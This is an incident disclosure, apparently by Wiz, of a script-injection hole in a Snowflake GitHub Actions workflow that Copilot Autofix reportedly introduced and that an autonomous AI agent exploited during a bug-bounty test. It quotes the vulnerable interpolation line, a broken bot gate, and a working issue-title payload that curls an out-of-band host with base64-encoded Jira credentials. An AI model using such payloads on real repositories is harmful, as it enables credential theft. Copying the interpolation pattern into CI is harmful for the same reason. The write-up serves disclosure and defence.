AI-Generated GitHub Copilot “Autofix” Allowed Compromise of Snowflake's Jira

Executive Summary: The Wiz Red Agent—an autonomous AI security tool—discovered a script injection flaw in the snowflakedb/snowflake-connector-net repository. This vulnerability, which allowed unauthenticated remote command execution via GitHub issue titles, was ironically introduced by GitHub Copilot Autofix. The breach resulted in the exfiltration of credentials providing access to Snowflake's internal Jira instance.

---

🛡️ Overview of the Incident

As part of Snowflake’s vulnerability disclosure program on HackerOne, Wiz Research deployed its Red Agent. This AI-driven tool independently identified a critical flaw in a GitHub Actions workflow.

This case serves as a cautionary tale regarding the dual-edged nature of AI: while AI can help fix code, it can also introduce subtle, high-impact vulnerabilities that other AI agents can then exploit at machine speed.

📅 Timeline of Events

---

🔍 The Technical Breakdown

The Vulnerable Workflow

The Red Agent flagged the jira_issue.yml workflow. The vulnerability existed because the workflow triggered whenever a new issue was opened, and it processed the issue title using a shell script.

❌ The AI-Generated Error

On June 18, 2026, a commit (4a1b8ce) co-authored by Copilot Autofix replaced a secure input method with a dangerous one.

Comparison of Logic:

• Original (Safe): Used env: variables and jq to handle the title as data.
• AI "Fix" (Vulnerable): Used direct string interpolation into a shell command.

# The dangerous pattern introduced by AI
run: TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\\"/g' | sed "s/'/\\\'/g")

Because GitHub expands the ${{ ... }} template before the shell executes the sed command, an attacker could use a single quote (') to break out of the echo command and execute arbitrary code.

The "Broken" Security Gate

The workflow attempted to implement a security check to prevent certain bots from triggering it:

if : (github.event_name == 'issues' && github.event.pull_request.user.login != 'whitesource-for-github-com[bot]')

However, there was a logical flaw: on an issues event, the github.event.pull_request object is always null.

Mathematically, the logic evaluated as: $\text{Condition} \implies (\text{True} \land \text{null} \neq \text{'whitesource-for-github-com[bot]'}) \implies \text{True}$

Consequently, the "gate" was effectively open to everyone.

---

🚀 The Exploitation Process

The Wiz Red Agent didn't just find the bug; it autonomously navigated the exploitation process.

Attack Flow

The Payload Evolution

Initially, the agent tried to use a comment character (#) to neutralize the rest of the line. This failed because it "ate" the closing parenthesis of the TITLE=$(...) block, causing a bash EOF error.

# Payload: ' # curl ... $\rightarrow$ Failed

The Red Agent autonomously corrected this by using ; echo ' to properly close the shell syntax:

' ; curl -s "https://subdomain.oast.me?t=`printf %s $JIRA_API_TOKEN|base64 -w0`&e=`printf %s $JIRA_USER_EMAIL|base64 -w0`&u=`printf %s $JIRA_BASE_URL|base64 -w0`" ; echo '

The Result

The runner (Azure IP 20.106.182.197) sent a callback containing base64-encoded credentials for qa@snowflake.net. This granted the agent read access to:

• Engineering projects
• Security compliance data
• Bug bounty tracking

---

🖼️ Evidence Gallery

Access to Jira Portal:

The Vulnerable Commit:

Exploitation Logs & POC:

---

🛠️ Remediation & Forensics

Snowflake responded immediately upon notification. The following steps were taken to secure the environment:

• Same-Day Patching: The workflow was updated (PR #1402) to restore the safe env: variable and jq --arg parsing.
• Credential Rotation: The compromised JIRA_API_TOKEN was revoked and replaced.
• Forensic Audit: Snowflake analyzed logs to ensure no other parties exploited the 5-day window.
• Data Cleanup: Wiz confirmed the deletion of all PoC data.

Conclusion: All anomalous activity was traced exclusively to Wiz's testing IP addresses.